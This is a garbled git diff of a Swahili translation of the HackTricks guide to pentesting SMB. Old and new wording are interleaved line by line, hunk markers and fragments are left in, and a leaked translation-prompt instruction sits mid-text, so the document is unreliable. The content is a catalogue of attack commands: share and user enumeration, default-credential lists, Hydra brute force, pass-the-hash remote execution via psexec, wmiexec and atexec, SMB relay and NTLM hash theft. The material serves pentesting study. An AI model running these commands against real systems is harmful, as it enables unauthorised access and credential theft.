Uwezo huu ni muhimu kwa watawala wa mtandao na wataalamu wa usalama kwa ajili ya kutathmini hali ya usalama wa huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` hutoa mtazamo kamili wa mazingira ya SMB ya mfumo unaolengwa, ambayo ni muhimu kwa kutambua udhaifu unaowezekana na kuhakikisha kuwa huduma za SMB zimehakikishiwa vizuri.
Kazi hii ni muhimu kwa watawala wa mtandao na wataalamu wa usalama kuchunguza hali ya usalama wa huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` hutoa mtazamo kamili wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua mapungufu yanayowezekana na kuhakikisha kuwa huduma za SMB zimehakikishiwa ipasavyo.
```bash
enum4linux -a target_ip
```
Amri iliyotajwa hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uchunguzi kamili dhidi ya lengo lililoelezwa na `target_ip`.
Amri hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uchambuzi kamili dhidi ya lengo lililoelezwa na `target_ip`.
## **NTLM ni nini**
## NTLM ni nini
Ikiwa haujui NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata ukurasa huu kuhusu **NTLM** kuwa wa kuvutia sana ambapo imeelezewa **jinsi itifaki hii inavyofanya kazi na jinsi unavyoweza kunufaika nayo:**
Ikiwa haujui ni nini NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata ukurasa huu kuhusu **NTLM** kuwa wa kuvutia sana ambapo imeelezwa **jinsi itifaki hii inavyofanya kazi na jinsi unavyoweza kunufaika nayo:**
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
## **Uchunguzi wa Seva**
## **Uchambuzi wa Seva**
### **Tafuta** mtandao ukitafuta watumiaji:
### **Skeni** mtandao ukitafuta mwenyeji:
```bash
nbtscan -r 192.168.0.1/24
```
### Toleo la seva ya SMB
Ili kutafuta udhaifu unaowezekana kwenye toleo la SMB, ni muhimu kujua ni toleo gani linalotumiwa. Ikiwa habari hii haionekani kwenye zana zingine zilizotumiwa, unaweza:
Ili kutafuta udhaifu wa toleo la SMB ni muhimu kujua ni toleo gani linatumika. Ikiwa habari hii haionekani katika zana zingine zilizotumiwa, unaweza:
* Tumia moduli ya ziada ya **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Au tumia script hii:
- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb\_version**
- Au tumia script hii:
```bash
#!/bin/sh
#Author: rewardone
@ -87,30 +86,24 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Tafuta udhaifu**
Kutafuta udhaifu ni hatua muhimu katika mchakato wa kuingilia kati kwenye mtandao. Udhaifu unaweza kutokea katika huduma mbalimbali za mtandao, kama vile SMB (Server Message Block). Kwa kutumia zana za kutafuta udhaifu, unaweza kugundua ikiwa kuna udhaifu wowote uliojulikana katika huduma ya SMB na kutumia udhaifu huo kuingia kwenye mfumo.
Kuna zana nyingi za kutafuta udhaifu zinazopatikana, kama vile Metasploit, Nmap, na Nessus. Zana hizi zinaweza kutumika kutafuta udhaifu katika huduma ya SMB na kutoa matokeo yanayoweza kutumiwa kwa hatua zaidi za kuingilia kati.
Kumbuka kuwa kutafuta udhaifu katika huduma ya SMB bila idhini ya mmiliki wa mfumo ni kinyume cha sheria na inaweza kusababisha mashtaka ya kisheria. Ni muhimu kufuata sheria na kanuni zinazohusiana na kuingilia kati kwenye mtandao.
### **Tafuta mwanya**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Inawezekana** Kujiuliza
### **Vibali** Vinavyowezekana
| **Jina la mtumiaji** | **Nenosiri za kawaida** |
| **Jina la mtumiaji** | **Nywila za kawaida** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| mgeni | _(blank)_ |
| Msimamizi, admin | _(blank)_, nenosiri, msimamizi, admin |
| arcserve | arcserve, chelezo |
| Msimamizi, admin | _(blank)_, nywila, msimamizi, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, chelezo, arcada |
| jaribio, maabara, demo | nenosiri, jaribio, maabara, demo |
| backupexec, backup | backupexec, backup, arcada |
| jaribio, maabara, demo | nywila, jaribio, maabara, demo |
### Kuvunja Nguvu
### Kuvunja nguvu
* [**Kuvunja Nguvu SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
@ -138,9 +131,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Kagua Watumiaji, Vikundi na Watumiaji Walioingia
### Pata Watumiaji, Vikundi & Watumiaji Walioingia
Maelezo haya yanapaswa tayari kukusanywa kutoka kwa enum4linux na enum4linux-ng
Taarifa hii inapaswa tayari kukusanywa kutoka kwa enum4linux na enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -152,47 +145,17 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Tafuta watumiaji wa ndani
### Kagua watumiaji wa ndani
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Hii ni nakala kutoka kwenye kitabu cha kuhack teknolojia kuhusu mbinu za kuhack. Nakala ifuatayo ni kutoka kwenye faili /hive/hacktricks/network-services-pentesting/pentesting-smb.md. Tafsiri sehemu muhimu ya maandishi ya Kiingereza kuwa Kiswahili na irudishe tafsiri hiyo bila kubadilisha muundo wa markdown na html. Usitafsiri vitu kama nambari, majina ya mbinu za kuhack, maneno ya kuhack, majina ya jukwaa la wingu/SaaS (kama Workspace, aws, gcp...), neno 'leak', pentesting, na vitambulisho vya markdown. Pia usiongeze chochote zaidi ya tafsiri na muundo wa markdown.
Mstari mmoja
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Kuchunguza watumiaji wa ndani
Metasploit ni chombo maarufu cha kufanya uchunguzi wa usalama na kuvamia mifumo ya kompyuta. Moja ya kazi zake ni kuchunguza watumiaji wa ndani kwenye mfumo wa kompyuta uliolengwa. Hapa chini ni hatua za kufanya hivyo kwa kutumia Metasploit:
1. Anza Metasploit Framework kwa kuingiza amri ifuatayo:
```
msfconsole
```
2. Tumia moduli ya `enum_users` kuchunguza watumiaji wa ndani. Ingiza amri ifuatayo:
```
use auxiliary/scanner/smb/enum_users
```
3. Weka anwani ya IP ya mfumo wa kompyuta uliolengwa kwa kutumia amri ifuatayo:
```
set RHOSTS <anwani ya IP>
```
4. Kuanza kuchunguza watumiaji wa ndani, ingiza amri ifuatayo:
```
run
```
5. Metasploit itaanza kuchunguza watumiaji wa ndani kwenye mfumo wa kompyuta uliolengwa. Matokeo yataonyeshwa kwenye skrini.
Kwa kufuata hatua hizi, unaweza kutumia Metasploit kuchunguza watumiaji wa ndani kwenye mfumo wa kompyuta uliolengwa.
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
@ -204,9 +167,9 @@ run
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### Uunganisho wa GUI kutoka kwenye linux
### Uunganisho wa GUI kutoka linux
#### Katika terminal:
#### Katika terminali:
`xdg-open smb://cascade.htb/`
@ -214,11 +177,11 @@ run
`smb://friendzone.htb/general/`
## Uchunguzi wa Folda Zilizoshirikiwa
## Uorodheshaji wa Folda Zilizoshirikiwa
### Orodhesha folda zilizoshirikiwa
Daima ni vyema kuangalia ikiwa unaweza kupata ufikiaji wa chochote, ikiwa huna nyaraka za kuingia, jaribu kutumia **nyaraka za null/mtumiaji wa mgeni**.
Daima ni vyema kutazama ikiwa unaweza kupata kitu chochote, ikiwa huna sifa jaribu kutumia **sifa za null/mgeni**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -232,25 +195,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
To connect to a shared folder on a remote machine, you can use the `smbclient` tool. This tool allows you to interact with SMB (Server Message Block) shares.
To connect to a shared folder, use the following command:
```plaintext
smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>
```
Replace `<IP_ADDRESS>` with the IP address of the remote machine and `<SHARE_NAME>` with the name of the shared folder you want to connect to. Additionally, replace `<USERNAME>` with a valid username on the remote machine.
Once connected, you can use various commands to interact with the shared folder. For example, you can use the `ls` command to list the contents of the shared folder:
```plaintext
ls
```
This will display a list of files and directories within the shared folder.
Remember to provide valid credentials (username and password) when prompted to authenticate with the remote machine.
### **Kuunganisha/Orodhesha folda iliyoshirikiwa**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -262,9 +207,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Kuorodhesha na kuunganisha kwa kushirikiana kwa mikono kwenye Windows**
### **Kuchunguza kwa Mkono sehemu za Windows na kuunganisha kwazo**
Inawezekana kuwa umepunguzwa kuonyesha sehemu yoyote ya kompyuta mwenyeji na unapojaribu kuziorodhesha inaonekana kama hakuna sehemu za kuunganisha. Hivyo, inaweza kuwa na maana kujaribu kuunganisha kwa kushirikiana kwa mikono. Kwa kuorodhesha sehemu kwa mikono, unaweza kutafuta majibu kama NT\_STATUS\_ACCESS\_DENIED na NT\_STATUS\_BAD\_NETWORK\_NAME, unapotumia kikao halali (kama kikao tupu au vitambulisho halali). Haya yanaweza kuashiria ikiwa sehemu ipo na huna ruhusa ya kuifikia au sehemu haipo kabisa.
Inawezekana kwamba umepigwa marufuku kuonyesha sehemu yoyote ya kompyuta mwenyeji na unapojaribu kuziorodhesha inaonekana kana kwamba hakuna sehemu za kuunganisha. Hivyo inaweza kuwa na maana kujaribu kuunganisha kwa mkono kwenye sehemu. Kuchunguza sehemu kwa mkono unaweza kutaka kutafuta majibu kama NT\_STATUS\_ACCESS\_DENIED na NT\_STATUS\_BAD\_NETWORK\_NAME, unapotumia kikao halali (k.m. kikao cha null au sifa halali). Hizi zinaweza kuonyesha ikiwa sehemu ipo na huna ufikivu kwake au sehemu haipo kabisa.
Jina la kawaida la sehemu kwa malengo ya Windows ni
@ -279,12 +224,12 @@ Jina la kawaida la sehemu kwa malengo ya Windows ni
(Jina la kawaida la sehemu kutoka _**Tathmini ya Usalama wa Mtandao toleo la 3**_)
Unaweza kujaribu kuunganisha kwa kutumia amri ifuatayo
Unaweza kujaribu kuunganisha kwazo kwa kutumia amri ifuatayo
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
au skripti hii (kwa kutumia kikao cha null)
au skripti hii (ikiwa inatumia kikao cha null)
```bash
#/bin/bash
@ -301,20 +246,32 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
fi
done
```
**SMB (Server Message Block)** ni itifaki ya mtandao inayotumiwa kwa kushirikiana na kushirikiana faili, vifaa vya kuchapisha, na huduma zingine kwenye mtandao. Ni sehemu muhimu ya mazingira ya Windows na hutumiwa sana katika mazingira ya biashara.
### Mifano
Kwa kufanya pentesting kwenye SMB, unaweza kuchunguza na kuchunguza udhaifu katika mfumo wa SMB. Hii inaweza kujumuisha kuchunguza mbinu za kuingilia kati, kuchunguza vibali dhaifu, na kuchunguza mbinu za kuvunja nywila.
1. **Enumerating SMB Shares**
Baadhi ya njia za kuingilia kati kwenye SMB ni pamoja na kutumia mbinu za kuingilia kati za mtu wa kati, kama vile kusikiliza trafiki ya SMB na kubadilisha au kuchanganua data iliyopitishwa. Pia, unaweza kujaribu kuvunja nywila za akaunti za SMB kwa kutumia mbinu kama vile kushambulia nguvu ya nywila au kutumia orodha ya nywila za kawaida.
Kwa kutumia amri ya `smbclient`, unaweza kutambua hisa zilizopo kwenye mfumo wa SMB:
Kwa kuchunguza vibali dhaifu, unaweza kujaribu kufikia faili au folda ambazo haupaswi kuwa na ufikiaji. Hii inaweza kujumuisha kuchunguza vibali vya faili na folda, kama vile kusoma, kuandika, na kutekeleza vibali.
```bash
smbclient -L //<IP_ADDRESS>
```
Kwa kufanya pentesting kwenye SMB, unaweza kugundua udhaifu na kutoa mapendekezo ya kuboresha usalama wa mfumo wa SMB. Hii inaweza kujumuisha kusanidi vibali sahihi, kuboresha mbinu za kuvunja nywila, na kusasisha programu na mifumo ya uendeshaji ili kurekebisha udhaifu uliopo.
2. **Brute Forcing SMB Login**
Unaweza kutumia zana kama `Hydra` kufanya jaribio la kuingia kwa nguvu kwenye seva ya SMB:
```bash
hydra -l <USERNAME> -P <WORDLIST> smb://<IP_ADDRESS>
```
3. **Exploiting SMB Vulnerabilities**
Kwa kutumia zana kama `Metasploit`, unaweza kutumia msimbo wa kudhibitiwa kwa mbali (RCE) au mashambulizi mengine kwenye seva ya SMB iliyodhoofishwa.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Kuorodhesha hisa kutoka kwa Windows / bila zana za tatu**
### **Kutambua hisa kutoka kwa Windows / bila zana za tatu**
PowerShell
```powershell
@ -326,15 +283,13 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Konsoli ya CMD
**Konsoli ya CMD**
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (graphical)
MMC Snap-in (grafiki)
```shell
# Shared Folders: Shared Folders > Shares
@ -342,7 +297,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafiki), ingiza `\\<ip>\` kuona hisa zisizofichwa zilizopo.
explorer.exe (grafiki), ingiza `\\<ip>\` kuona hisa zilizopo zisizofichwa.
### Sakinisha folda iliyoshirikiwa
```bash
@ -351,7 +306,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pakua faili**
Soma sehemu zilizopita ili kujifunza jinsi ya kuunganisha na siri/Pass-the-Hash.
Soma sehemu zilizopita kujifunza jinsi ya kuunganisha kwa kutumia sifa/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -366,73 +321,64 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Amri:
* mask: inaonyesha kichujio kinachotumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
* recurse: inabadilisha hali ya utafutaji wa kina (chaguo-msingi: walemavu)
* prompt: inabadilisha hali ya kuuliza majina ya faili (chaguo-msingi: walemavu)
* mget: inakopi faili zote zinazolingana na kichujio kutoka kwenye mwenyeji kwenda kwenye kifaa cha mteja
(_Maelezo kutoka kwenye ukurasa wa man wa smbclient_)
### Utafutaji wa Folda Zilizoshirikiwa za Kikoa
### Utafutaji wa Folda Zilizoshirikiwa za Domain
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) ni buibui.
* `-M buibui_plus [--share <jina_la_sehemu>]`
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) buibui.
* `-M buibui_plus [--share <jina_la_share>]`
* `--muundo txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Hasa ya kuvutia kutoka kwa hisa ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioconfigurewa na **autologon** kupitia Sera ya Kikundi. Au faili za **`web.config`** kwani zina siri.
Ni maalum kutoka kwa hisa ni faili zinazoitwa **`Registry.xml`** kwani zinaweza **kuwa na nywila** za watumiaji walioconfigure na **autologon** kupitia Group Policy. Au faili za **`web.config`** kwani zina nywila.
{% hint style="info" %}
Hisia ya **SYSVOL** inaweza **kusomwa** na watumiaji wote waliothibitishwa katika kikoa. Ndani yake unaweza **kupata** hati nyingi tofauti za batch, VBScript, na PowerShell.\
Unapaswa **angalia** hati hizo kwani unaweza **kupata** habari nyeti kama **nywila**.
Hisa ya **SYSVOL** inaweza **kusomwa** na watumiaji wote waliothibitishwa kwenye uwanja. Ndani yake unaweza **kupata** mistari mingi tofauti ya amri, VBScript, na PowerShell.\
Unapaswa **kuangalia** mistari hiyo kwani unaweza **kupata** habari nyeti kama **nywila**.
{% endhint %}
## Soma Usajili
Unaweza kuweza **kusoma usajili** kwa kutumia baadhi ya nywila zilizopatikana. Impacket **`reg.py`** inakuwezesha kujaribu:
Unaweza **kusoma usajili** ukitumia nywila zilizopatikana. Impacket **`reg.py`** inakuruhusu kujaribu:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Uchunguzi Baada ya Uvamizi
## Baada ya Kudukuliwa
Mazingira ya msingi ya seva ya **Samba** kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na mipangilio hatari ifuatayo:
Mazingira ya msingi ya seva ya **Samba** kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na mipangilio michache **hatari**:
| **Mipangilio** | **Maelezo** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Kuruhusu kuorodhesha hisa zilizopo katika hisa ya sasa? |
| `read only = no` | Kukataza uundaji na ubadilishaji wa faili? |
| `writable = yes` | Kuruhusu watumiaji kuunda na kubadilisha faili? |
| `browseable = yes` | Kuruhusu orodha ya hisa zilizopo katika hisa ya sasa? |
| `read only = no` | Kukataza uundaji na marekebisho ya faili? |
| `writable = yes` | Kuruhusu watumiaji kuunda na kurekebisha faili? |
| `guest ok = yes` | Kuruhusu kuunganisha kwenye huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Kuheshimu mamlaka zilizopewa SID maalum? |
| `create mask = 0777` | Mamlaka gani yanapaswa kupewa faili zilizoundwa hivi karibuni? |
| `directory mask = 0777` | Mamlaka gani yanapaswa kupewa saraka zilizoundwa hivi karibuni? |
| `logon script = script.sh` | Ni skripti gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji? |
| `magic script = script.sh` | Ni skripti ipi inapaswa kutekelezwa wakati skripti inafungwa? |
| `magic output = script.out` | Mahali ambapo matokeo ya skripti ya kichawi yanahitaji kuhifadhiwa? |
| `create mask = 0777` | Mamlaka zipi zinapaswa kupewa faili zilizoundwa hivi karibuni? |
| `directory mask = 0777` | Mamlaka zipi zinapaswa kupewa saraka zilizoundwa hivi karibuni? |
| `logon script = script.sh` | Ni skripti ipi inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh` | Skripti ipi inapaswa kutekelezwa wakati skripti inapofungwa? |
| `magic output = script.out` | Mahali ambapo matokeo ya skripti ya kichawi yanapaswa kuhifadhiwa? |
Amri `smbstatus` hutoa habari kuhusu **seva** na kuhusu **nani ameunganishwa**.
## Thibitisha kwa kutumia Kerberos
## Thibitisha kwa Kutumia Kerberos
Unaweza **kuthibitisha** kwa kutumia zana za **smbclient** na **rpcclient**:
Unaweza **kuthibitisha** kwa **kerberos** kutumia zana za **smbclient** na **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Kutekeleza Amri**
## **Tekeleza Amri**
### **crackmapexec**
crackmapexec inaweza kutekeleza amri kwa kuchangamkia **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndio njia ya **chaguo-msingi**. Unaweza kueleza chaguo unayopendelea kutumia kwa kutumia parameter `--exec-method`:
crackmapexec inaweza kutekeleza amri **kwa kudhuru** yoyote kati ya **mmcexec, smbexec, atexec, wmiexec** ikiwa **wmiexec** ndio njia ya **msingi**. Unaweza kusema ni chaguo gani unapendelea kutumia kwa kutumia parameter `--exec-method`:
```bash
apt-get install crackmapexec
@ -456,9 +402,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Chaguo zote mbili zitafanya **huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) katika kompyuta ya mwathirika na kuitumia kutekeleza kitu (**psexec** ita **pakia** faili ya kutekelezeka kwenye sehemu ya ADMIN$ na **smbexec** itaelekeza kwa **cmd.exe/powershell.exe** na kuweka katika hoja mzigo --**njia isiyo na faili-**-).\
Chaguo zote **zitajenga huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathiriwa na kuitumia kwa **kutekeleza kitu** (**psexec** ita **pakia** faili ya kutekelezeka kwenye sehemu ya ADMIN$ na **smbexec** itaelekeza kwa **cmd.exe/powershell.exe** na kuweka katika hoja ya malipo --**njia isiyo na faili-**-).\
**Maelezo zaidi** kuhusu [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
Kwenye **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -466,19 +412,19 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Kwa kutumia **parameter** `-k` unaweza kuthibitisha utambulisho dhidi ya **kerberos** badala ya **NTLM**
Kwa kutumia **parameter** `-k` unaweza kujithibitisha dhidi ya **kerberos** badala ya **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Thibitisha kwa siri kutekeleza kikao cha amri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **bandari 135**.\
Katika **kali** iko katika /usr/share/doc/python3-impacket/examples/
Kutekeleza amri ya shell bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **bandari 135.**\
Kwenye **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Kwa kutumia **parameter** `-k`, unaweza kujithibitisha dhidi ya **kerberos** badala ya **NTLM**.
Kwa kutumia **parameter** `-k` unaweza kujithibitisha dhidi ya **kerberos** badala ya **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -487,51 +433,50 @@ Kwa kutumia **parameter** `-k`, unaweza kujithibitisha dhidi ya **kerberos** bad
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Tekeleza amri kupitia Task Scheduler (kwa kutumia _\pipe\atsvc_ kupitia SMB).\
Tekeleza amri kupitia Mipangilio ya Kazi (ikiwa ni pamoja na _\pipe\atsvc_ kupitia SMB).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Kumbukumbu ya Impacket
## Marejeo ya Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Kuvunja nguvu siri za watumiaji**
**Hii haipendekezi, unaweza kuzuia akaunti ikiwa utazidi idadi iliyoruhusiwa ya majaribio**
**Hii sio inapendekezwa, unaweza kuzuia akaunti ikiwa unazidi majaribio yanayoruhusiwa**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Shambulizi la kurejesha SMB
## Shambulio la kurejelea SMB
Shambulizi hili linatumia zana ya Responder ku**kukamata vikao vya uthibitishaji wa SMB** kwenye mtandao wa ndani, na kuvirejesha kwenye **mashine ya lengo**. Ikiwa **kikao cha uthibitishaji ni cha mafanikio**, itakuingiza moja kwa moja kwenye **kifaa cha mfumo**.
[**Maelezo zaidi kuhusu shambulizi hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Shambulio hili hutumia zana ya Responder kukamata vikao vya **uthibitisho wa SMB** kwenye mtandao wa ndani, na **kuvirejelea** kwa **mashine ya lengo**. Ikiwa **kikao cha uthibitisho** kitafanikiwa, itakuingiza moja kwa moja kwenye **kifaa cha mfumo**.\
[**Maelezo zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Kivinjari cha Windows URLMon.dll kinajaribu kiotomatiki kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kupata baadhi ya maudhui kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
Thibitisho la Windows la URLMon.dll kiotomatiki hujaribu kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kupata baadhi ya maudhui kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
Hii hutokea na kazi zifuatazo:
Hii hufanyika na kazi zifuatazo:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Ambazo hutumiwa na baadhi ya vivinjari na zana (kama Skype)
Ambazo hutumiwa na baadhi ya vivinjari na zana (kama vile Skype)
![Kutoka: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### SMBTrap kwa kutumia MitMf
### SMBTrap kutumia MitMf
![Kutoka: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## Wizi wa NTLM
Kama ilivyo kwa SMB Trapping, kupanda faili zenye nia mbaya kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kuwa imekwishwa na zana kama Responder. Hash hiyo kisha inaweza kuvunjwa nje ya mtandao au kutumika katika [shambulizi la kurejesha SMB](pentesting-smb.md#smb-relay-attack).
Kama ilivyo kwa Shambulio la SMB Trapping, kupanda faili zenye nia mbaya kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitisho wa SMB, kuruhusu hash ya NetNTLMv2 ikamatwe na zana kama vile Responder. Hash hiyo inaweza kisha kuvunjwa nje ya mtandao au kutumika katika [shambulio la kurejelea SMB](pentesting-smb.md#smb-relay-attack).
[Tazama: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
@ -610,10 +555,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
